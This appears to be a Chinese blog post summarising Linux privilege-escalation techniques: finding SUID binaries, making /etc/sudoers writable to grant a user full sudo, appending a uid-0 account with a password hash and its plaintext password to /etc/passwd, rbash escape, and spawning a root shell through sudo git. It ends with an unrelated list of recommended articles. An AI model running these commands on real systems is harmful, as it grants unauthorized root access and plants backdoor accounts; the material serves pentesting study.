Linux内网提权

一、SUID提权

前提条件:

(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效

1、设置SUID权限: root权限

chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

2、 收集具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null

SUID提权 - hello_bao - 博客园 (cnblogs.com)

二、sudoers提权

前提条件:/etc/sudoers 如果为当前权限可更改,则可进行写入普通用户sudo权限

bash 复制代码
chmod 777 /etc/sudoers
bash 复制代码
# User privilege specification

root    ALL=(ALL:ALL) ALL

#在这添加new_user的sudo 权限

new_user     ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command

%sudo   ALL=(ALL:ALL) ALL

修改完将sudoers权限修改回去

bash 复制代码
chmod 440 /etc/sudoers

普通用户可进行sudo 执行root权限命令

bash 复制代码
sudo systemctl start ssh

三、重要软件或文件配置不当提权

nps提权

当nfs配置了读写权限且允许客户端以root访问时,就会存在该漏洞

passwd提权

如果当前用户有修改/etc/passwd的权限则可以添加一个root权限用户:

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

账号:test 密码:password@123

四、 rbash 逃逸

前提条件:当前用户shell为普通用户且有可以利用的命令

确定在rbash权限下:echo $PATH

确定可以使用的命令:compgen -c

【渗透测试】--- rbash逃逸方法简述-CSDN博客

五、git提权

前提条件:当前用户可以使用sudo中git权限

查看sudo -l 如果 有 (root) NOPASSWD: /usr/bin/git 则可以提权

以下两种二选一:

bash 复制代码
sudo git help config #在末行命令模式输入

!/bin/bash 或 !'sh' #完成提权



sudo git -p help

!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
相关推荐
风曦Kisaki4 分钟前
Kubernetes(K8s)笔记Day07: StatefulSet 有状态控制器详解与使用案例
linux·docker·云原生·容器·kubernetes
不相心 -w-6 分钟前
Cmake的基础用法
linux·开发语言·c++
深爱水瓶 血影S狂风17 分钟前
Linux.NET学习手记(2)
linux·学习·.net
张文君17 分钟前
docker registry 删除镜像
运维·docker·容器
爱喝水的鱼丶28 分钟前
SAP-ABAP:调试器高级工具使用——内表分析、SQL追踪、内存检查功能实操
运维·sql·性能优化·sap·abap·经验交流
XiangrongZ29 分钟前
debian中配置stm32的交叉编译环境
运维·stm32·debian
cuiyaonan200036 分钟前
some weird issues regarding docker
运维·docker·容器
sg_knight1 小时前
Codex CLI 安装全攻略:macOS / Linux / Windows(WSL2)三端实战
linux·windows·macos·openai·ai编程·coding·codex
大眼、不聚光1 小时前
9.linux系统管理-ssh免密配置
linux·ssh·github
啦啦啦!1 小时前
虚拟机如何接入Codex并配置中转站(vscode插件版)
linux·vscode·ubuntu·编辑器